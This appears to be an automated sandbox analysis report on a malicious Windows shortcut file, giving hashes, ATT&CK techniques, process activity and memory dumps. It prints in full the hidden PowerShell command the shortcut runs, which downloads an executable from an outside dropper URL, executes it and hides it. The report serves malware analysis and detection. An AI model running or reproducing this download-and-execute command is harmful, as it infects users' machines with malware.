49b2caa0106ae7c87c555dfc3a919f2c1c4f1074e605b4c220fe3c85e7d2052e

Analysis

max time kernel
122s
max time network
129s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
06-08-2024 21:06

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General

Target

MalwareBazaar.lnk
Size

2KB
MD5

8d2464bee26f6e3d7c43953cfb3eebae
SHA1

906f5952737b7b6f15abaaaca1a4c22111d39338
SHA256

49b2caa0106ae7c87c555dfc3a919f2c1c4f1074e605b4c220fe3c85e7d2052e
SHA512

5e75b583648ddfe7f34da44d2d4188cd9663e51b5a6f773539d43cf0269ca511a5fd7e922ade8438ea3f7ec5ce6f48cdbd7b2a3cdcdff43fe78ccd61dee7e53e

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/bzdjgbsdzjkngdsnhgtuonidsgtsgb/neio.exe

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2748	PoWeRsHeLl.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2748	PoWeRsHeLl.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2748	PoWeRsHeLl.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2292 wrote to memory of 2748	2292	cmd.exe	31
PID 2292 wrote to memory of 2748	2292	cmd.exe	31
PID 2292 wrote to memory of 2748	2292	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsHeLl.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsHeLl.exe" -ExecutionPolicy -Bypass -WindowStyle hiDdEn -HiDdEn --hiDDeN ---HiddeN ----HidDEn -Command msadp32.acm;(new-object System.Net.WebClient).DownloadFile('http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/bzdjgbsdzjkngdsnhgtuonidsgtsgb/neio.exe','doubles.exe');./'doubles.exe';(get-item 'doubles.exe').Attributes += 'Hidden';
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2748-38-0x000007FEF572E000-0x000007FEF572F000-memory.dmp

Filesize
4KB

Download
memory/2748-39-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/2748-40-0x000000001B330000-0x000000001B612000-memory.dmp

Filesize
2.9MB

Download
memory/2748-41-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

Filesize
32KB

Download
memory/2748-42-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/2748-43-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/2748-44-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download